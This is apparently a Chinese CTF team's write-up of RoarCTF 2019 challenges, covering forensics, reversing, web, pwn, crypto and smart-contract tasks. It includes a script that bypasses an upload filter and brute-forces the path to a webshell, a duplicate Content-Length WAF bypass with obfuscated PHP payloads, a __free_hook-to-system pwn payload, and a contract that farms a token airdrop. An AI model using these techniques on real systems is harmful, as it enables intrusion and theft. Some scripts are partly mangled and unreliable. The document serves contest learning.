作者：樓上請讓路戰隊
時間：2019年10月22日
黃金6年
文件尾部有一段base64，解碼為16進制可以看到是一個壓縮包
使用pr抽幀
可以看到部分幀中有二維碼，依次掃碼即可得到key iwantplayctf
forensic
直接上volatility
建議profile，直接用Win7SP1x86就可以。
查看進程
volatility -f mem.raw pslist --profile=Win7SP1x86
可以看到存在以下幾個值得注意的進程：
Dumpit.exe 一款內存鏡像提取工具。
TrueCrypt.exe 一款磁盤加密工具。
Notepad.exe windows自帶的記事本。
Mspaint,exe windows自帶畫圖工具。
通過查看userassist可以發現notepad mspaint 在提取內存時在內存中并沒有數據。查看用戶Home目錄的文件，可以發現有一個用戶保存的圖片文件
volatility -f mem.raw --profile=Win7SP1x86 filescan|grep -v Temporary |grep -v .dll|grep -E 'png|jpg|gif|zip|rar|7z|pdf'
把圖片dump下來
通過查看桌面文件還可以發現dumpit.exe在桌面上，而dumpit.exe默認生成的文件是 {hash}.raw，默認保存路徑是dumpit.exe所在的路徑。
嘗試dump 位于0x000000001fca1130位置的raw鏡像，發現該文件還沒有數據，因此判斷取證的時候dumpit.exe還在運行中，dump下來dumpit.exe的內存鏡像。
對dumpit.exe的內存鏡像進行分析
猜測密碼就是剛那張圖片上的扭曲文字
不得不說，有幾個位置很難辨認，比如第一個字符是數字1還是字母l還是字母I,那些大小寫長得一樣的是大寫還是小寫，中間那個是y還是g。直接上掩碼爆破
TankGame
用dnspy反編譯，關鍵代碼：
public static void WinGame()
{
if (!winGame && ((nDestroyNum == 4) || (nDestroyNum == 5)))
{
string str = "clearlove9";
for (int i = 0; i < 0x15; i++)
{
for (int j = 0; j < 0x11; j++)
{
str = str + MapState[i, j].ToString();
}
}
if (Sha1(str) == "3F649F708AAFA7A0A94138DC3022F6EA611E8D01")
{
FlagText._instance.gameObject.SetActive(true);
FlagText.str = "RoarCTF{wm-" + Md5(str) + "}";
winGame = true;
}
}
}
public static string Md5(string str)
{
byte[] bytes = Encoding.UTF8.GetBytes(str);
byte[] buffer2 = MD5.Create().ComputeHash(bytes);
StringBuilder builder = new StringBuilder();
foreach (byte num in buffer2)
{
builder.Append(num.ToString("X2"));
}
return builder.ToString().Substring(0, 10);
}
private void OnTriggerEnter2D(Collider2D collision)
{
int x = (int) collision.gameObject.transform.position.x;
int y = (int) collision.gameObject.transform.position.y;
switch (collision.tag)
{
case "Tank":
if (!this.isPlayerBullect)
{
collision.SendMessage("Die");
UnityEngine.Object.Destroy(base.gameObject);
}
break;
case "Heart":
MapManager.MapState[x + 10, y + 8] = 9;
MapManager.nDestroyNum++;
collision.SendMessage("Die");
UnityEngine.Object.Destroy(base.gameObject);
break;
case "Enemy":
if (this.isPlayerBullect)
{
collision.SendMessage("Die");
UnityEngine.Object.Destroy(base.gameObject);
}
break;
case "Wall":
MapManager.MapState[x + 10, y + 8] = 8;
MapManager.nDestroyNum++;
UnityEngine.Object.Destroy(collision.gameObject);
UnityEngine.Object.Destroy(base.gameObject);
break;
case "Barrier":
if (this.isPlayerBullect)
{
collision.SendMessage("PlayAudio");
}
UnityEngine.Object.Destroy(base.gameObject);
break;
}
}墻1替換成8，老家0替換成9，66個變量，4或5個位置需要變，首先爆破66 * 65 * 64 * 63，爆破出來了，計算md5得到前10字節，得到flag，細節如圖：
simple_upload
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
$upload = new \Think\Upload();// 實例化上傳類
$upload->maxSize = 4096 ;// 設置附件上傳大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 設置附件上傳類型
$upload->rootPath = './Public/Uploads/';// 設置附件上傳目錄
$upload->savePath = '';// 設置附件上傳子目錄
$info = $upload->upload() ;
if(!$info) {// 上傳錯誤提示錯誤信息
$this->error($upload->getError());
return;
}else{// 上傳成功 獲取上傳文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
} ThinkPHP默認上傳文件名是遞增的。代碼中ThinkPHP的后綴過濾無效，所以通過上傳多個文件的方式，繞過.php后綴的判斷，文件名，需要爆破
寫腳本上傳一個正常文件，再上傳多個文件，再上傳一個正常文件。然后獲取到第一三次上傳的文件名
import requests
url = "http://lo408dybroarctf.4hou.com.cn:34422/index.php/Home/Index/upload"
files1 = {'file': open('test.txt','r')}
files2 = {'file[]': open('test.php','r')}
r = requests.post(url,files=files1)
print(r.text)
r = requests.post(url,files=files2)
print(r.text)
r = requests.post(url,files=files1)
print(r.text)爆破一下第一三文件名之間的所有文件名
import requests
#{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bb3645.txt","success":1}
#{"url":"\/Public\/Uploads\/","success":1}
#{"url":"\/Public\/Uploads\/2019-10-12\/5da1b52bd6f0a.txt","success":1}
s = "1234567890abcdef"
for i in s:
for j in s:
for k in s:
for l in s:
url = "http://lo408dybroarctf.4hou.com.cn:34422/Public/Uploads/2019-10-12/5da1b52bc%s%s%s%s.php"%(i,j,k,l)
r = requests.get(url)
# print(url)
if r.status_code != 404:
print(url)
break爆破到文件名后，即可訪問上傳的木馬，拿到flag
easy_calc
這題首先進去發現是一個計算器的題目。
這道題是國賽的love_math的修改版，除去了長度限制，payload中不能包含' ', '\t', '\r', '\n',''', '"', '`', '[', ']' 等字符，不同的是網站加了waf，需要繞過waf。首先需要繞過waf，測試發現當我們提交一些字符時，會直接403，可以構造畸形的HTTP包來繞過，經測試使用兩個 "Content-Length" 就可以了。
因為禁掉了一些字符，所以導致我們不能直接getflag，繼續分析payload構造
這里用到幾個php幾個數學函數。
我們首先要構造列目錄的payload，肯定要使用scandir函數，嘗試構造列舉根目錄下的文件。scandir可以用base_convert函數構造，但是利用base_convert只能解決a~z的利用，因為根目錄需要/符號，且不在a~z,所以需要hex2bin(dechex(47))這種構造方式，dechex() 函數把十進制數轉換為十六進制數。hex2bin() 函數把十六進制值的字符串轉換為 ASCII 字符。
構造讀取flag，使用readfile函數，paload：base_convert(2146934604002,10,36)(hex2bin(dechex(47)).base_convert(25254448,10,36))，方法類似
easy_java
這道進去首先想到的就是任意文件下載，但是剛開始用GET方式一直什么都下載不了，連網站確定目錄的圖片都下不了。后來修改為post，可以了。。。
嘗試讀取WEB-INF/web.xml發現操作flag的關鍵文件位置
將圖中base64解碼即flag。
ez_op
payload:
#!/usr/bin/env python3
# -*- coding=utf-8 -*-
from pwn import *
system_addr = 0x08051C60
hook_free = 0x080E09F0
# opcdoe
opcode = ""
# get stack_addr
opcode += """\
push 5
stack_load\
"""
# sub hook_free
opcode += f"""\
push {hook_free}
sub\
"""
# value / 4 + 1
opcode += """\
push 4
div
push 1
add\
"""
# *hook_free = system_addr
opcode += f"""\
push {system_addr}
stack_set\
"""
opcode = f"""\
push {0x6e69622f}
push {0x68732f}
push {system_addr}
push 1
push 4
push 64
stack_load
push {hook_free}
sub
div
sub
stack_set\
"""
OPCODET = {
"push": 0x2a3d,
"add": 0,
"sub": 0x11111,
"div": 0x514,
"stack_set": 0x10101010,
"stack_load": -1
}
opcode_list = opcode.split("\n")
op_result = []
num_result = []
for op in opcode_list:
tmp = op.split(" ")
assert tmp[0] in OPCODET
op_result.append(str(OPCODET[tmp[0]]))
if len(tmp) == 2:
num_result.append(str(tmp[1]))
result_op = " ".join(op_result)
result_num = " ".join(num_result)
print(result_op)
print(result_num)
polyre
使用 deflat.py 脫去控制流平坦化，加密算法大致是：輸入 48，平分 6 組，將每組 8 字節轉化為 long 類型的值，對每組進行加密，先判斷正負，然后將值乘 2，隨后根據正負異或 0xB0004B7679FA26B3，循環 64 次，最后進行比較；按照這個邏輯寫逆運算就可以了，逆運算見 depoly.py
origin = [0xbc8ff26d43536296,
0x520100780530ee16,
0x4dc0b5ea935f08ec,
0x342b90afd853f450,
0x8b250ebcaa2c3681,
0x55759f81a2c68ae4]
key = 0xB0004B7679FA26B3
data = ""
for value in origin:
for i in range(0, 64):
tail = value & 1
if tail == 1:
value = value ^ key
value = value // 2
if tail == 1:
value = value | 0x8000000000000000
#print(hex(value))
# end for
print(hex(value))
j = 0
while (j < 8):
data += chr(value & 0xFF)
value = value >> 8
j += 1
# end while
#end for
print(data)
rsa
根據題目文件可知：
A=(((y%x)5)%(x%y))2019+y**316+(y+1)/x
p=next_prime(zxy)
q=next_prime(z)
n=p*q
直接爆破A方程可得 x*y=166。（一個是2一個是83，懶得重新寫腳本了很好爆。）
然后可得
p=next_prime(z*166)
q=next_prime(z)可以推斷出，n和zz166的值相對來說是距離比較近的，根據next_prime可以推測出sqrt(n/166)的值和p和q的其中一個是很接近的，爆破即可。
py2 ：
import sympy
import gmpy2
n=117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127m是n/166的開放根，和p q 中的一個距離很近
m=sympy.nextprime(842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029)
m2=842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029*166
k=m
p=0
q=0
while (m>10000):
if(n%m==0):
\#print (m) A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x根據方程可以直接算出x和y
a=2683349182678714524247469512793476009861014781004924905484127480308161377768192868061561886577048646432382128960881487463427414176114486885830693959404989743229103516924432512724195654425703453612710310587164417035878308390676612592848750287387318129424195208623440294647817367740878211949147526287091298307480502897462279102572556822231669438279317474828479089719046386411971105448723910594710418093977044179949800373224354729179833393219827789389078869290217569511230868967647963089430594258815146362187250855166897553056073744582946148472068334167445499314471518357535261186318756327890016183228412253724
x=1
y=1
n=0
c=0
d=0
for x in range(1,100):
for y in range(2,100):
c=(y+1)/x
d=x%y
if(d!=0):
n=(((y%x)**5)%d)**2019+y**316+c
if(n==a):
print (x)
print (y)
可得x=2 y=83
p=next_prime(z*x*y)
q=next_prime(z)
n=q*p因此可以猜測n和（zxy）z的值也是很接近的，也就是n和z^2166是很接近的，那么sqrt(n/166)和q是很接近的。所以從sqrt(n/166)附近查找prime。
e是未知的，但是e的取值范圍相對是小的，直接猜或者爆破，結果可知e為65537.
解密腳本
import sympy
import math
import binascii
from Crypto.Util.number import long_to_bytes
n=117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127m即是sqrt(n/166)的近似值
m=sympy.nextprime(842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458029)
c=86974685960185109994565885227776590430584975317324687072143606337834618757975096133503732246558545817823508491829181296701578862445122140544748432956862934052663959903364809344666885925501943806009045214347928716791730159539675944914294533623047609564608561054087106518420308176681346465904692545308790901579479104745664756811301111441543090132246542129700485721093162972711529510721321996972649182594310700996042178757282311887765329548031672904349916667094862779984235732091664623511790424370705655016549911752412395937963400908229932716593592702387850259325784109798223415344586624970470351548381110529919234353
p=0
q=0
\#從m附近查找q或p
while(m>100):
if(n%m==0):
p=m
print "p="
print p
q=n/p
print "q="
print q
break
m=sympy.nextprime(m)
def egcd(a,b):
if a==0:
return (b,0,1)
else:
g,y,x=egcd(b%a,a)
return (g,x-(b//a)*y,y)
def modinv(a,m):
g,x,y=egcd(a,m)
if g!=1:
raise Exception(" error")
else:
return x%m
e=1
d=0爆破e
while(e<100000):
\#try:
\#e=sympy.nextprime(e)
e=65537 #最后爆破成功的e
d=modinv(e,(p-1)*(q-1))
m=pow(c,d,n)
print long_to_bytes(m)
m_hex = hex(m)[2:]
\# try:
print m_hex
print("ascii:\n%s"%(binascii.a2b_hex(m_hex).decode("utf8"),))
\# except:
\# if(e%10000==0):
\# print ebabyrsa
一個數學結論：對于一個素數p來說，（p-1）的階乘加上（p-2）的階乘等于p乘以（p-2）的階乘,能被p整除,（p-1）的階乘除以p余p-1（因為p的階乘能被p整除）
就是
(p-1)!+(p-2)!=p*(p-2)!
(p-1)!=p*(p-1)
(p-2)! % p=1解密腳本如下：
import sympy
from Crypto.Util.number import long_to_bytes
def egcd(a,b):
if a==0:
return (b,0,1)
else:
g,y,x=egcd(b%a,a)
return (g,x-(b//a)*y,y)
def modinv(a,m):
g,x,y=egcd(a,m)
if g!=1:
raise Exception(" error")
else:
return x%m
a1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407
b1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596
a2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927
b2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026
n=85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733
c=75700883021669577739329316795450706204502635802310731477156998834710820770245219468703245302009998932067080383977560299708060476222089630209972629755965140317526034680452483360917378812244365884527186056341888615564335560765053550155758362271622330017433403027261127561225585912484777829588501213961110690451987625502701331485141639684356427316905122995759825241133872734362716041819819948645662803292418802204430874521342108413623635150475963121220095236776428
p=1
q=1
i=1
l=0
for i in range(b1+1,a1-1):
p *= modinv(i,a1)
p %=a1
p=sympy.nextprime(p)
print "p="
print p
for i in range(b2+1,a2-1):
q *=modinv(i,a2)
q %=a2
q=sympy.nextprime(q)
print "q="
print q
r=n/q/p
print "r="
print r
fn=(p-1)*(q-1)*(r-1)
print "fn="
print fn
e=4097
d=modinv(e,fn)
print "d="
print d
m=pow(c,d,n)
print "m="
print m
print long_to_bytes(m)
區塊鏈1
做題的時候發現已經有人做出來了，然后去看做出來人的交易記錄，發現是薅羊毛，通過逆向做出來人的記錄，照抄了一個，payload合約如下：
/**
*Submitted for verification at Etherscan.io on 2019-10-08
*/
pragma solidity ^0.4.24;
contract P_Bank
{
mapping (address => uint) public balances;
uint public MinDeposit = 0.1 ether;
Log TransferLog;
event FLAG(string b64email, string slogan);
constructor(address _log) public {
TransferLog = Log(_log);
}
function Ap() public {
if(balances[msg.sender] == 0) {
balances[msg.sender]+=1 ether;
}
}
function Transfer(address to, uint val) public {
if(val > balances[msg.sender]) {
revert();
}
balances[to]+=val;
balances[msg.sender]-=val;
}
function CaptureTheFlag(string b64email) public returns(bool){
require (balances[msg.sender] > 500 ether);
emit FLAG(b64email, "Congratulations to capture the flag!");
}
function Deposit()
public
payable
{
if(msg.value > MinDeposit)
{
balances[msg.sender]+= msg.value;
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
}
}
function CashOut(uint _am) public
{
if(_am<=balances[msg.sender])
{
if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender,_am,"CashOut");
}
}
}
function() public payable{}
}
contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
string err = "CashOut";
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
}
contract FatherOwned {
address owner;
modifier onlyOwner{ if (msg.sender != owner) revert(); _; }
}
contract Attack
{
address owner;
P_Bank target;
constructor(address my) public {
owner = my;
target = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21);
target.Ap();
target.Transfer(owner, 1 ether);
selfdestruct(owner);
}
}
contract Deploy is FatherOwned
{
constructor() public {
owner = msg.sender;
}
function getflag() public onlyOwner {
P_Bank target;
target = P_Bank(0xF60ADeF7812214eBC746309ccb590A5dBd70fc21);
target.CaptureTheFlag("baiyjrh@gmail.com");
}
function ffhhhhhhtest1() public onlyOwner {
uint i;
for (i=0; i<10; i++){
new Attack(owner);
}
}
function ffhhhhhhtest2() public onlyOwner {
uint i;
for (i=0; i<30; i++){
new Attack(owner);
}
}
function ffhhhhhhtest3() public onlyOwner {
uint i;
for (i=0; i<50; i++){
new Attack(owner);
}
}
function ffhhhhhhtest4() public onlyOwner {
uint i;
for (i=0; i<70; i++){
new Attack(owner);
}
}
}智能合約2
給的源碼和實際的不一樣，同樣了看了下之前做出來的人的交易，發現了一個函數：0x5ad0ae39
逆向一下得到大概代碼：
func 0x5ad0ae39(address1, address2, uint, address3)
require(allowance[address1][msg.sender] >= uint)
require(address3 == msg.sender + 0x32c3edb)
balanceOf[address1] -= _value;
balanceOf[address2] += _value;
allowance[address1][msg.sender] -= _value;然后在標準token的sol里面有一個函數：
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}通過approve函數給allowance[msg.sender][msg.sender]賦值，隨便大于1000的值就行。
然后調用0x5ad0ae39，這里就比較蛋疼了，因為爆破不出這個函數名，沒法直接用remix做題，沒辦法只能寫代碼了。
過程如圖：
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